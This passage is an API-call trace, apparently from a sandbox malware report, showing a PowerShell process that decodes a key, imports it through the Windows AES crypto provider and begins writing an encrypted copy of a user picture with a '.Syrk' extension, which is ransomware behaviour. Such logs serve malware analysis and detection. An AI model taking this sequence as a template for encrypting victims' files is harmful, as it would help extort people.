(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0246.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0246.523] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.523] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0246.523] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0246.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0246.524] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.524] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0246.524] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0246.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0246.524] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.524] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0246.524] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0246.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0246.525] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.525] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0246.525] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0246.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0246.525] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.525] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0246.525] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0246.526] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.527] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0246.527] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0246.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0246.527] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.527] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0246.527] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0246.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0246.527] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.528] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0246.528] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0246.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0246.528] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.528] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0246.528] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0246.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0246.528] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.529] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0246.529] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.529] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0246.529] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0246.529] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.529] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0246.529] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.529] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0246.529] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0246.529] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.530] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0246.530] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.530] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0246.530] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0246.530] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.530] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0246.530] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.530] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.531] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.531] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.531] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0246.531] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.531] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0246.531] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.532] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0246.532] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0246.532] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.532] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0246.532] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.532] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0246.532] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0246.532] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.532] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0246.532] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.533] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0246.533] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0246.533] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.533] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0246.533] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.533] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0246.533] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0246.533] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.533] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0246.533] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.534] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0246.534] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0246.534] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.534] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0246.534] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.534] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0246.534] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0246.534] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.534] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0246.534] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0246.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0246.535] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.535] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0246.535] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0246.536] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0246.536] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0246.536] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0246.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0246.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0246.537] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0246.537] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0246.537] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0246.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0246.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0246.537] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0246.537] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0246.537] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0246.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0246.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0246.538] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0246.538] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0246.538] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0246.538] EtwEventActivityIdControl () returned 0x0 [0246.538] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0246.538] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0246.539] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0246.539] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0246.541] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0246.543] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x24c166c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99760) returned 1 [0246.543] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.544] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.544] EtwEventActivityIdControl () returned 0x0 [0246.544] EtwEventActivityIdControl () returned 0x0 [0246.544] EtwEventActivityIdControl () returned 0x0 [0246.552] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png")) returned 0x20 [0246.554] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png")) returned 0x20 [0246.554] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0246.554] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", lpFilePart=0x0) returned 0x34 [0246.554] EtwEventActivityIdControl () returned 0x0 [0246.555] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.555] EtwEventActivityIdControl () returned 0x0 [0246.555] EtwEventActivityIdControl () returned 0x0 [0246.555] EtwEventActivityIdControl () returned 0x0 [0246.556] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0246.557] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png", lpFilePart=0x0) returned 0x34 [0246.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0246.557] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0246.557] GetFileType (hFile=0x3c4) returned 0x1 [0246.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0246.558] GetFileType (hFile=0x3c4) returned 0x1 [0246.558] EtwEventActivityIdControl () returned 0x0 [0246.558] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.559] EtwEventActivityIdControl () returned 0x0 [0246.559] EtwEventActivityIdControl () returned 0x0 [0246.559] EtwEventActivityIdControl () returned 0x0 [0246.560] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0246.560] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png.Syrk", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png.Syrk", lpFilePart=0x0) returned 0x39 [0246.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0246.560] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8CzrpcYd_M6g307P3Uxk.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\8czrpcyd_m6g307p3uxk.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0246.561] GetFileType (hFile=0x454) returned 0x1 [0246.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0246.561] GetFileType (hFile=0x454) returned 0x1 [0246.561] EtwEventActivityIdControl () returned 0x0 [0246.561] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x24d2120 | out: pbBuffer=0x24d2120) returned 1 [0246.563] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.563] CryptDuplicateKey (in: hKey=0x5c99760, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c995e0) returned 1 [0246.563] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.564] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x4, pbData=0x24d3458*=0x1, dwFlags=0x0) returned 1 [0246.564] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x1, pbData=0x24d3424, dwFlags=0x0) returned 1 [0246.564] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.564] EtwEventActivityIdControl () returned 0x0 [0246.564] EtwEventActivityIdControl () returned 0x0 